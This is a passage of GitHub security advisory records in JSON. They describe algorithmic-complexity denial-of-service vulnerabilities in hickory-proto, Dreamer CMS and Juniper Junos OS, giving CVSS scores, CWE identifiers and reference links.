  "details": "During message encoding, `hickory-proto`\u0027s `BinEncoder` stores pointers to labels that are candidates for name compression in a `Vec\u003c(usize, Vec\u003cu8\u003e)\u003e`. The name compression logic then searches for matches with a linear scan.\n\nA malicious message with many records can both introduce many candidate labels, and invoke this linear scan many times. This can amplify CPU exhaustion in DoS attacks.\n\nThis is similar to [CVE-2024-8508](https://www.nlnetlabs.nl/downloads/unbound/CVE-2024-8508.txt).\n\n### Reporter\n\nQifan Zhang, Palo Alto Networks",
  "id": "GHSA-q2qq-hmj6-3wpp",
  "modified": "2026-05-07T02:59:48Z",
  "published": "2026-05-07T02:59:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hickory-dns/hickory-dns/security/advisories/GHSA-q2qq-hmj6-3wpp"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hickory-dns/hickory-dns"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2026-0119.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "hickory-proto vulnerable to CPU exhaustion during message encoding due to O(n\u00b2) name compression"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-2473"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-02T13:15:25Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in Dreamer CMS up to 4.1.3. It has been declared as problematic. This vulnerability affects the function updatePwd of the file UserController.java of the component Password Hash Calculation. The manipulation leads to inefficient algorithmic complexity. The attack can be initiated remotely. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-227860.",
  "id": "GHSA-q4c2-wh8v-28q5",
  "modified": "2023-05-02T15:30:33Z",
  "published": "2023-05-02T15:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2473"
    },
    {
      "type": "WEB",
      "url": "https://gitee.com/isoftforce/dreamer_cms/issues/I6WHO7"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.227860"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.227860"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-22153"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-19T01:15:00Z",
    "severity": "HIGH"
  },
  "details": "An Insufficient Algorithmic Complexity combined with an Allocation of Resources Without Limits or Throttling vulnerability in the flow processing daemon (flowd) of Juniper Networks Junos OS on SRX Series and MX Series with SPC3 allows an unauthenticated network attacker to cause latency in transit packet processing and even packet loss. If transit traffic includes a significant percentage (\u003e 5%) of fragmented packets which need to be reassembled, high latency or packet drops might be observed. This issue affects Juniper Networks Junos OS on SRX Series, MX Series with SPC3: All versions prior to 18.2R3; 18.3 versions prior to 18.3R3; 18.4 versions prior to 18.4R2-S9, 18.4R3; 19.1 versions prior to 19.1R2; 19.2 versions prior to 19.2R1-S1, 19.2R2.",
  "id": "GHSA-q67g-rxmw-649c",
  "modified": "2022-01-29T00:01:21Z",
  "published": "2022-01-20T00:02:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22153"
    },
    {
      "type": "WEB",
      "url": "https://kb.juniper.net/JSA11261"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}